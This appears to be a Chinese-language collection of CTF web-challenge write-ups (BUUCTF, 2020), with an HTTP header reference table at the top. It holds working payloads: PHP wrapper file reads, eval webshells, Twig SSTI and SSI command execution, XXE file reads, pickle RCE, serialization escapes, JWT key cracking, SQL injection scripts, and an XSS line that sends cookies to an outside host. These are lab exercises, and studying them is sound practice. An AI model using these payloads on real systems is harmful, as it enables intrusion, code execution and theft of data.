文件响应头
Header | 解释 | 示例 |
---|---|---|
Accept | 指定客户端能够接收的内容类型 | Accept: text/plain, text/html,application/json |
Accept-Charset | 浏览器可以接受的字符编码集。 | Accept-Charset: iso-8859-5 |
Accept-Encoding | 指定浏览器可以支持的web服务器返回内容压缩编码类型。 | Accept-Encoding: compress, gzip |
Accept-Language | 浏览器可接受的语言 | Accept-Language: en,zh |
Accept-Ranges | 可以请求网页实体的一个或者多个子范围字段 | Accept-Ranges: bytes |
Authorization | HTTP授权的授权证书 | Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== |
Cache-Control | 指定请求和响应遵循的缓存机制 | Cache-Control: no-cache |
Connection | 表示是否需要持久连接。(HTTP 1.1默认进行持久连接) | Connection: close |
Cookie | HTTP请求发送时,会把保存在该请求域名下的所有cookie值一起发送给web服务器。 | Cookie: $Version=1; Skin=new; |
Content-Length | 请求的内容长度 | Content-Length: 348 |
Content-Type | 请求的与实体对应的MIME信息 | Content-Type: application/x-www-form-urlencoded |
Date | 请求发送的日期和时间 | Date: Tue, 15 Nov 2010 08:12:31 GMT |
Expect | 请求的特定的服务器行为 | Expect: 100-continue |
From | 发出请求的用户的Email | From: user@email.com |
Host | 指定请求的服务器的域名和端口号 | Host: www.zcmhi.com |
If-Match | 只有请求内容与实体相匹配才有效 | If-Match: “737060cd8c284d8af7ad3082f209582d” |
If-Modified-Since | 如果请求的部分在指定时间之后被修改则请求成功,未被修改则返回304代码 | If-Modified-Since: Sat, 29 Oct 2010 19:43:31 GMT |
If-None-Match | 如果内容未改变返回304代码,参数为服务器先前发送的Etag,与服务器回应的Etag比较判断是否改变 | If-None-Match: “737060cd8c284d8af7ad3082f209582d” |
If-Range | 如果实体未改变,服务器发送客户端丢失的部分,否则发送整个实体。参数也为Etag | If-Range: “737060cd8c284d8af7ad3082f209582d” |
If-Unmodified-Since | 只在实体在指定时间之后未被修改才请求成功 | If-Unmodified-Since: Sat, 29 Oct 2010 19:43:31 GMT |
Max-Forwards | 限制信息通过代理和网关传送的时间 | Max-Forwards: 10 |
Pragma | 用来包含实现特定的指令 | Pragma: no-cache |
Proxy-Authorization | 连接到代理的授权证书 | Proxy-Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ== |
Range | 只请求实体的一部分,指定范围 | Range: bytes=500-999 |
Referer | 先前网页的地址,当前请求网页紧随其后,即来路 | Referer: http://www.zcmhi.com/archives… |
TE | 客户端愿意接受的传输编码,并通知服务器接受接受尾加头信息 | TE: trailers,deflate;q=0.5 |
Upgrade | 向服务器指定某种传输协议以便服务器进行转换(如果支持) | Upgrade: HTTP/2.0, SHTTP/1.3, IRC/6.9, RTA/x11 |
User-Agent | User-Agent的内容包含发出请求的用户信息 | User-Agent: Mozilla/5.0 (Linux; X11) |
Via | 通知中间网关或代理服务器地址,通信协议 | Via: 1.0 fred, 1.1 nowhere.com (Apache/1.1) |
Warning | 关于消息实体的警告信息 | Warn: 199 Miscellaneous warning |
[BJDCTF2020]ZJCTF,不过如此
2020.11.8
考点
伪协议
[ZJCTF 2019]NiZhuanSiWei 这个题目类似
做题步骤
有源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}绕过 if 语句
?text=data://text/plain,I%20have%20a%2dream
然后可以利用 伪协议 得到 next.php 的源代码
file=php://filter/convert.base64-encode/resource=next.php
解密
1 |
|
可以利用 getFlag 方法来得到 flag
/e模式的preg_replace,有一个远程代码执行漏洞。
利用上面文章的 爬坑2 实现代码执行
/next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27);
得到 flag
[GKCTF2020]CheckIN
2020.11.8
考点
命令执行
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
参考
做题步骤
网页代码
1 | <title>Check_In</title> |
发现可以代码执行
PHP Version 7.3.18
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
对应的漏洞
我们现在可以 实现利用 get 让 $Eval() => 一个shell 然后蚁剑链接
成功链接
- 上传 https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php 的exp 在 /tmp 目录下 然后用文件包含 调用 得到 flag
exp
?Ginkgo=aW5jbHVkZSgiL3RtcC9leHAucGhwIik7Cg==
[BJDCTF 2nd]假猪套天下第一
2020.11.9
考点
文件备份 .DS_Store
做题步骤
打开网站 发现除了 admin 都能登录
扫下目录 发现 有个
.DS_Store
备份文件下载利用 https://github.com/gehaxelt/Python-dsstore 对 Ds_Store 进行分析
看到对应的 php 文件
尝试 访问 L0g1n.php (需要先随便登录一个账号) 然后才能访问这个网页
抓包看看
发现有个 time 尝试把他改的很大
然后提示
Xff 和 client-ip 测试 发现只有
client-ip
可以然后添加
Referer
添加 User-Agent:
发现不对 发现原名应该是
Commodore 64
添加 From
添加 via
base64 解密 得到 flag
[SUCTF 2019]Pythonginx
2020.11.9
考点
python CVE-2019-9636:urlsplit不处理NFKC标准化
https://bugs.python.org/issue36216
Nginx 重要文件
- 配置文件存放目录:/etc/nginx
- 主配置文件:/etc/nginx/conf/nginx.conf 或 /etc/nginx/nginx.conf
- 管理脚本:/usr/lib64/systemd/system/nginx.service
- 模块:/usr/lisb64/nginx/modules
- 应用程序:/usr/sbin/nginx
- 程序默认存放位置:/usr/share/nginx/html
- 日志默认存放位置:/var/log/nginx
做题步骤
这里 有三个 if
1 | 1. |
要求 第一第二 处理都不能等于 suctf.cc
第三个处理后等于 suctf.cc
parse.urlparse(url).hostname
list(urlsplit(url))[1]
urlunsplit(parts).split(' ')[0]
第三个
经过了 urlunsplit 后变成 suctf.cc
我们可以了 利用 unicode 字符来进行变化绕过
可以利用下面 脚本 修改 suctf.cc 中的任意一个 字符串 从而实现绕过
1 | from urllib.parse import urlparse,urlunsplit,urlsplit |
在unicode中字符℀(U+2100),当IDNA处理此字符时,会将℀变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时,只对域名做了限制,那么通过这种方法,我们就可以轻松绕过服务器对域名的限制了。
我们利用的就是
1 | for h in host.split('.'): |
我们可以用 unicode 字符来代替 原本的 suctf.cc
读配置文件
/getUrl?url=file://suctf.cℂ/../../../usr/local/nginx/conf/nginx.conf
读flag
/getUrl?url=file://suctf.cℂ/../../../usr/fffffflag
[网鼎杯 2020 朱雀组]phpweb
2020.11.9
考点
反序列化
反斜杠绕过
file_get_contents
做题步骤
- 链接题目 发现没过一段时间网页会刷新时间
查看源代码
有个 form 表单提交。
我们猜测 func 就是要传入的方法 发现 默认是 data
我们尝试用 system
发现不能执行
我们尝试利用 \
看看能不能绕过 \system
发现成功 实现了。
但是里面没有flag 我们利用命令去找一下
func=\system&p=find / -name flag*
找到 然后利用 cat 来打印
得到 flag
func=\system&p=cat /tmp/flagoefiu4r93
学习 wp
https://blog.csdn.net/SopRomeo/article/details/106364298
可以利用 file_get_contents 来查看 index.php
index.php
1 |
|
里面过滤了 很多函数 且里面存在一个 class Test 且有一个 __destruct()
的魔术方法且 这个方法里面还存在一个 函数调用 gettime
调用 call_user_func
所以如果我们传入的是 Test 类的序列化 传入的方法为 unserialize
这样反序列化后 在 Test 类结束后 会调用 对应的 __destruct()
的魔术方法里面的 gettime
实现函数调用。
payload 布置
1 |
|
传入 也能执行
所以我们可以利用这个来实现 一样的代码执行
exp
1 |
|
exp2
1 |
|
得到 flag
[0CTF 2016]piapiapia
2020.11.10
考点
www.zip 源码泄露
反序列化逃逸
做题步骤
利用得到的 www.zip 的源码泄露
代码审计
发现代码中
profile.php
中有反序列化然后更具反序列化后的值 进行输出
这个简直 通过
$user->show_profile($username);
获得1
2
3
4
5
6
7public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}在我们的数据
然后在
update.php
中发现 他会将我们的 信息 序列化后保存1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {
$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');
if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');
$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');
move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}但是发现我们的所有操作。都会经过
class.php
里面的filter
函数过滤1
2
3
4
5
6
7
8
9public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}在这个过滤中。我们发现 如果存在 select insert update delete where 字符串都会被替换成 haker,但是发现 这里我们的 where 是5个字符串 然后替换成 hacker 会变成 6个字符串。这样会印象我们的 反序列化链。
且
$user->update_profile($username, serialize($profile));
上传的
$profile
是序列化后的值,如果我们上传的 $profile 里面存在 where 等参数就会影响到原理的值。如果我们讲 序列化的 值 的 photo 的保存内容修改为 config.php 这样在
profile.php
中就能得到 服务器上 config.php 的内容 从而得到 flag
所以我们需要修改 反序列化中
";}s:5:"photo";s:39:"upload/b068931cc450442b63f5b3d276ea4297";}
为";}s:5:"photo";s:10:"config.php";}
修改的字符长度为 34
当我们的name = where时 我们的字符串经过
filter
过滤后 变成hacker 让我们的字符串变长了。这样,我们输入 34 个 where 。
filter
转义后 成了 34个 hacker 这样我们name 末尾的";}s:5:"photo";s:10:"config.php";}
就成功被往后移动,移动到了 原本的 photo 序列化后的位置这样 我们的
";}s:5:"photo";s:10:"config.php";}
就成了我们现在的 photo 对应的序列化。反序列后我们的 photo = config.php 从而我们在profile.php
中我们的 photo 显示的内容就是 config.php的内容。变化如下
1
2
3
4
5
6a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}
过滤后
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}要绕过一个点
在update.php 中
1
2if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');我们传入的 name <=10 所以这里。我们可以利用 数组绕过 nickname=aaaa[] 这样就能实现绕过
- 测试创建账号 登录
- update.php
1 | wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";} |
然后访问 profile.php
对其进行 base64 解密
得到 flag
[ASIS 2019]Unicorn shop
2020.11.10
考点
python
Unicode
做题步骤
打开网页
当我们 在 price 输入很小时 发现会报错 Wrong commodity!
当我们输入很大的 price 时 Only one char(?) allowed!
不输入 price 报错
知道是 unicode 的
我们尝试使用 unincode 大于 1337的
https://www.compart.com/en/unicode/search?q=thousand#characters
大于等于 U+2181 的数
从而得到 flag
[NCTF2019]Fake XML cookbook
2020.11.11
考点
XXE
https://www.cnblogs.com/sijidou/p/10497663.html
https://xz.aliyun.com/t/6887#toc-5
做题步骤
登录网址
当我们输入 username = 1 密码为 1时有个tips 提示
js 代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}抓包
传送了一个 xml 的语句我们修改包
1
2
3
<user><username>&a;</username><password>123</password></user>包含服务器本地的 file:///flag 当我们登录错误
在 tips 里面会显示我们的 用户名
也就是我们的 /flag
x
[CISCN 2019 初赛]Love Math
2020.11.11
考点
RCE php 代码认识
做题步骤
开始网页给出源码
1 |
|
题目最后有个 eval
所以应该要实现 RCE 利用给的 数学函数,和数字 组成一个 输出
- base_convert():在任意进制之间转换数字(2 - 32 进制)。
- dechex():把十进制数转换为十六进制数。
我们要利用上面的函数 实现 将我们的数字 转化为 {$_GET}{xx}
的类型从而实现调用
1 | $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=ls / |
这个 payload 在运行中的过程如下
1 | echo base_convert(37907361743,10,36); ==> hex2bin |
其他调用
1
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
1
2
3
4
5base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy
[BJDCTF2020]Cookie is so stable
2020.11.11
考点
Ssti 注入
做题步骤
打开网站
点击功能找到一格 flag.php 进去后发现 输入框有一个 ssti 注入
Submit 后
发现我们输入的 4 被运行了 说明这里存在注入。
根据
我们测试时什么模板
输入 {{7*'7'}}
返回 49 所以是 Twig 如果是 Jinja2 会返回 ‘7777777’
网上找
所有我们 利用 文章的 pyload 测试
bp 抓包 直接修改对应的上传数据发现不能执行
然后抓取 登录后的 数据包
这里我们修改 user 的值
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
发现执行了
我们去找到 flag 的位置
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("find / -name flag")}} |
然后打开flag
1 | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}} |
[WesternCTF2018]shrine
2020.11.11
考点
flask 全局变量
https://flask.palletsprojects.com/en/1.0.x/api/#flask.get_flashed_messages
做题步骤
打开网站
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
def index():
return open(__file__).read()
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)我们发现在源代码中。存在两个 路由。
根目录 是显示 源代码的
在
/shrine
目录下 有函数执行且设置了 黑名单
['config', 'self']
且刚开始注册了 一个
app.config['FLAG'] = os.environ.pop('FLAG')
config 全局变量测试发现 会调用 4
根据储存我们可以猜测 flag 就在全局的 FLAG
但是 config 被禁用了
我们使用 url_for
和 get_flashed_messages
{{url_for.__globals__}}
查看 app 的名字然后去查看 app 里面的全局变量
{{url_for.__globals__['current_app'].config}}
从而得到 flag
比如 {{get_flashed_messages.__globals__['current_app'].config}}
[BJDCTF 2nd]简单注入
2020.11.12
考点
sql 盲注
做题步骤
找到
/hint.txt
里面有sql 语句 我们的 sql 语句中 username 被 单引号隔开了1
2
3
4Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.
select * from users where username='$_POST["username"]' and password='$_POST["password"]';我们可以利用 反斜杠 进行 单引号逃逸
根据 提示 我们知道我们需要得到 正确的 password 且我们的传入中 = 被过滤了
我们只能用 substr
来对password 进行分割 从而盲注得到 flag
利用二分法
1 | import requests |
[安洵杯 2019]easy_serialize_php
2020.11.13
考点
反序列化
首先会得到 一部分源码
1 |
|
先查看 phpinfo()
发现有一个 d0d3_f1ag.php
想办法访问
在代码中 检测到
$filter_arr = array('php','flag','php5','php4','fl1g')
会被替换为空可以利用 双写绕过
代码逻辑 如果我们 SESSION 存在 img 键值就会被 base64 加密等 从而影响我们最后的 file_get_contents 的输出
所以我们要考虑如果绕过。
发现我们的 filter 实在判断了
$_SESSION['img']
之后才调用的 且他是替换我们的输入为空那我们可以在文明点 SESSION 后面加上img 的键值 从而 在 filter 过滤后 让我们的 img 键值到我们的 SESSION 熟悉里面
extract()变量覆盖
https://crayon-xin.github.io/2018/05/21/extract%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96/
我们可以 利用变量覆盖来 修改 SESSION的内容
我们就可以布置 SESSION 的 usr 内容 为 filter 要过滤的 字符串 function 内容布置为 新的 img 的地址
这样我们在 直接 filter 之后 usr 内容会被过替换为空 进而 吃掉 function 键值名,让 function 内容为我们的 新的 img 的地址。
payload
1 |
|
运行结果
我们会发现 。因为 filter 的过滤 我们的 SESSION 的 user 键值的内容被替换为空
我们的 function 键值名刚好被替换,我们的 function 的内容 变成了新的 键值 img
因为我们传递的 function的内容是闭合了的 所以这样传入我们就能是实现工具
从而最后的 file_get_contents 打开的就是我们布置的 img 的内容
所以我们 post 传入值 覆盖 SESSION 的内容
访问地址为 /index.php?f=show_image
1 | _SESSION[user]=flagflagflagphpflagflag&_SESSION[function] =";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"a";s:1:"a";} |
得到里面的 内容
然后我们去查看这个 对应文件的 flag
1 | echo -n "/d0g3_fllllllag" | base64 |
payload2
1 | _SESSION[user]=flagflagflagphpflagflag&_SESSION[function] =";s:3:"img";s:24:"L2QwZzNfZmxsbGxsbGFnCg==";s:1:"a";s:1:"a";} |
得到 flag
[BSidesCF 2020]Had a bad day
2020.11.13
考点
伪协议
伪协议包含一个协议
做题步骤
根据题目功能 发现 应该有一个 Include 文件包含。
利用 php 伪协议 读源代码
/index.php?category=php://filter/read=convert.base64-encode/resource=index
index.php
1 | <html> |
其中 strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
所以只要我们的 输入中 必须存在
woofers
meowers
index
我们也是利用伪协议读
但是要 至少 存在 上述的3个字符串 php://filter伪协议可以套一层协议
php://filter/read=convert.base64-encode/index/resource=flag
这样 我们的 payload 不带存在了 index 字符串 而且实现的 功能是读取 flag.php
得到 base64
解密
[WUSTCTF2020]朴实无华
2020.11.13
考点
md5 加密等于本身
str_ireplace 绕过
做题步骤
更具提议我猜测有个 robots.txt
访问
去访问
/fAke_f1agggg.php
文件
抓包发现
/fl4g.php
访问得到了 源码
1 | <img src="/img.jpg"> |
绕过1
intval($num) < 2020 && intval($num + 1) > 2021
可以利用 intval(0x7e6) 实现绕过
/fl4g.php?num=0x7e6
绕过2
$md5==md5($md5)
要绕过这个 我需要 md5 加密数组返回 NULL 但是数组不是NULL
所以数组绕过不能实现
利用 科学计数法来绕过 0e 加密后 开头还是 0e的
1
/fl4g.php?num=0x7e6&md5=0e215962017
绕过3
1
2if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);过滤了 空格 我们可以利用
$iFS$9
代替空格str_ireplace("cat", "wctf2020", $get_flag);
过滤cat 我们可以利用反斜杠绕过代替cat: more、less、head、tail、sort
执行 ls
/fl4g.php?num=0x7e6&md5=0e215962017&get_flag=ls
得到 一个
fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
文件名我们用 ca\t 打开前
payload
/fl4g.php?num=0x7e6&md5=0e215962017&get_flag=ca\t$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[网鼎杯 2020 朱雀组]Nmap
2020.11.13
考点
Nmap 写文件
-oG
选项 | 解释 |
---|---|
-oN | 标准保存 |
-oX | XML保存 |
-oG | Grep保存 |
-oA | 保存到所有格式 |
-append-output | 补充保存文件 |
做题步骤
[BUUCTF 2018]Online Tool 相同类型
直接写文件
' <?php @eval($_POST["jly"]);?> -oG 0xc4m3l.php '
发现报错
发现会检测 php 字符
利用短标签 保存为 phtml 文件
' <? @eval($_POST["jly"]);?> -oG 0xc4m3l.phtml '
访问下
发现写入了
于是利用 蚁剑 进行连接
[极客大挑战 2019]FinalSQL
2020.11.17
考点
Sql 注入
盲注
做题步骤
exp
1 | import requests |
先测试 f 开头的位置是在 第 172 个
所以我们直接从172 开始爆破
[MRCTF2020]PYWebsite
2020.11.17
考点
地址验证 X-Forwarded-For client-ip
做题步骤
打开网站 发现给购买flag
但是要钱
不能购买 查看源代码
发现 js 代码
1 | function enc(code){ |
里面有一个 ./flag.php
有一句提示
验证逻辑是在后端的,除了购买者和我自己,没有人可以看到flag
说明可能会验证是不是 本地 ip
Bp 抓包修改 修改 ip 为 127.0.0.1
[NCTF2019]True XML cookbook
2020.11.18
考点
XXE漏洞可以直接攻击内网用户,先查看内网存活主机:
做题步骤
1 |
|
配置payload
爆破得到 flag
[CISCN2019 华北赛区 Day1 Web2]ikun
2020.11.21
考点
jwt
https://github.com/brendan-rius/c-jwt-cracker
Python 反序列化
https://blog.csdn.net/SKI_12/article/details/85015803
loads方法(反序列化)
https://docs.python.org/2/library/pickle.html#object.__reduce__
构造的关键就是
__reduce__
函数,这个魔术方法的作用根据上面的文档简单总结如下:
- 如果返回值是一个字符串,那么将会去当前作用域中查找字符串值对应名字的对象,将其序列化之后返回,例如最后
return 'a'
,那么它就会在当前的作用域中寻找名为a
的对象然后返回,否则报错。- 如果返回值是一个元组,要求是2到5个参数,第一个参数是可调用的对象,第二个是该对象所需的参数元组,剩下三个可选。所以比如最后
return (eval,("os.system('ls')",))
,那么就是执行eval函数,然后元组内的值作为参数,从而达到执行命令或代码的目的,当然也可以return (os.system,('ls',))
。
做题步骤
- 查看网页 可以注册等 ,但是注册只有 10块钱
主页 有个 一定要买到 lv6 的提示
返现页面下面的shop里面有很多的账号信息。而且有很多页数(500 页都有回显),我们要在这些页数里面找到对应的 lv6 想办法去得到 这个 网页数据 里面 python 脚本
1
2
3
4
5
6
7
8
9
10
11
12
13import requests
import time
url = "http://e9a9e565-ce3c-4f59-806d-315af6e6bbfb.node3.buuoj.cn/shop?page="
requests = requests.session()
for i in range(600):
U = url+str(i)
print(U)
res = requests.get(U).text
time.sleep(0.4)
if "lv6.png" in res:
print("get the page "+str(i))
break注意要 sleep 不然会 被ban 得到 181页有个 lv6
要特别多钱 但是自己的 账号只有 10块
购买
然后发现 前端的 提交表单 有个 0.8 刚好是优惠的比例 尝试修改后 提交
点击结算后 购买成功 页面发生了 跳转。
尝试 注册 admin 账户 发现 不能注册成功、
绕过 admin 想到可以cookie 验证
查看 cookie 信息 有个 JWT
利用 https://jwt.io/ 解密 发现 username : 123 的 判断 可能需要用户名为 admin
对于 jwt 加密 我们需要知道 对应的 key 才能进行一个 加密得到对应的 username 为 admin 的 JWT
https://github.com/brendan-rius/c-jwt-cracker
利用上面的 功能
利用 linux docker
进入 输入 make
会编译好文件
然后利用对应工具解密
./jwtcrack "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjEyMyJ9.t_quUTD2cAx9tGvCi1tmfSmgP_z_hr2N8lx_Ij5bh78"
得到 key
Secret is "1Kun"
从而 修改对应的 信息 得到 admin 对应的 jwt
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo
然后 修改后刷新 从而可以查看
- 点击成为大会员 没什么反应 查看源码
发现有一个 www.zip 的文件
访问下载文件
发现是 py 文件
代码审计
发现
setting.py
中 有 hint得到 没有什么用的 提示
- python 反序列化
继续在 代码中发现 Admin.py
1 | import tornado.web |
里面有一个 post 接受 become 参数。 接受的 become 参数 url编码 编码后 利用了 pickle.loads 进行反序列化。
因为 这个是一个 python2
所以我们用 python2 来生成反序列化
1 | import pickle |
抓包 发现点击成为大会员的 时候
想要成为 admin
我们替换为我们的输入
得到 flag
[NPUCTF2020]ReadlezPHP
2020.11.29
考点
php 反序列化
1 | eval定义和用法 |
做题步骤
- 打开网页 发现 在图片 中间下方 有一个 时间,每次刷新都在变化。
- 尝试抓包看结果 发现没什么特别的
- 然后返现网页前端 qq 号 可以点击
查看源码 发现有两个 href
访问 /time.php?source
得到网页源代码
这里有一个 $_GET[‘data’] 传参。 且能进行反序列化
我们发现前面 的 序列化 $b 为方法。 $a 为参数 测试发现 eval 不能使用不了 (eval 在高版本不是函数)所以要用到 assert() 断言函数
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class HelloPhp
{
public $a = 'phpinfo();';
public $b = 'assert';
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
var_dump(serialize($c));
# O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}发现能够调用
网页搜索到 flag
[BJDCTF2020]EasySearch
2020.12.1
考点
.swp 文件泄露
Shtml SSI 代码注入
做题步骤
开局登录框
试了弱密码 都不行
也没用注入
尝试扫目录
发现有一个 index.php.swp http://2d56884b-47b0-41c3-a063-8b8ab5215b12.node3.buuoj.cn/index.php.swp
1 |
|
代码中要求我们的输入 md5 加密后前 6 位的值为 '6d0bc1'
直接python爆破
1 | import hashlib |
得到 2020666 这个值
利用任意账号名 密码为 2020666 能成功登陆
登陆后我们会发现 在返回包里面 地址
进行访问。 发现记录了我们的 id 和登陆时间 登陆 ip 等
发现是 shtml 文件后缀。百度发现对应这个 文件可能存在 SSI
注入
<!--#exec cmd="命令"-->
进行命令注入
我们发现整个网站 对应的 username 是我们可控的。
我们就利用这个地方来查看
访问返回的网站
发现是能够实现 命令执行的 说明存在漏洞
但是没有 flag 于是我们利用 <!--#exec cmd="find / -name flag*"-->
查找对应的 flag
直接 查看 ./flag
<!--#exec cmd="cat /var/www/html/flag_990c66bf85a09c664f0b6741840499b2"-->
访问对应 目录得到flag
得到 flag
[BJDCTF 2nd]xss之光
2020.12.1
考点
xss 泄露 cookie
原生类反序列化
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
做题步骤
刚开始页面什么都没有 也没有提示
扫一下目录
发现有 .git 泄露
得到 index.php 文件
1 |
|
https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html
有一个反序列化
在调用 反序列,然后会调用一个 echo 这个 echo 会调用 __tostring() 魔术方法
测试 xss 的存在
1 |
|
成功弹窗
于是可以利用 xss 得到 cookie 的值(一般xss 的题目 flag 都在 cookie 里面
1 | $a = new Exception('<script>window.open("http://8d021db4-5e19-415e-bf2b-1aa8cb6c7233.node3.buuoj.cn/?"+document.cookie);</script>'); |
[GKCTF2020]老八小超市儿
2020.12.2
考点
Shopxo (可以直接收到对应的渗透文章
https://www.codenong.com/cs106430299/
做题步骤
访问 后台admin.php
/admin.php?s=/admin/logininfo.html
默认账号密码登录
admin/shopxo
进入后台在后台找到应用中心-应用商店-主题,然后下载默认主题。
下载后 加入一句话 然后上传文件打包上传
1
2
3
@eval($_POST['jly']);
phpinfo();
在网址管理-主题管理处上传
然后我们要做的 就是去找到 对应上传的文件的 路径
查看源码 发现
所有我们测试 去找到 对应的 jly.php 的位置
/public/static/index/default/jly.php
找到位置访问 执行了 phpinfo();
说明上传成功。我们可以执行。
利用蚁剑链接
在更目录发现 flag
提示 flag 在 /root 里面
但是发现没有 权限访问
查看 flag.hint 文件
说明是 可以得到 root 里面的文件的
然后发现
然后我们去查看 /var/mail/makeflaghint.py
文件
利用 打开并写了文件
修改内容为
1 | import os |
保存后等待。 会把 /root/flag 的内容写到 /flag.hint 中
[MRCTF2020]Ezpop
2020.12.2
考点
反序列化
做题步骤
网页直接源码
1 | Welcome to index.php |
一共有 3个 class 然后对我们传入 pop 进行反序列化
对应的
Modifier类 有一个 include 可以利用伪协议得到 flag
1 | class Modifier { |
__invoke
方法是当脚本尝试将对象调用为函数时触发
show类
1 | class Show{ |
里面有一个 __wakeup()
方法,使用反序列化的时候触发,而这里同时也可以触发__toString
方法。
__toString
方法,当前对象访问str
再访问source
,然后返回这个值,就是把类当作字符串使用时触发。
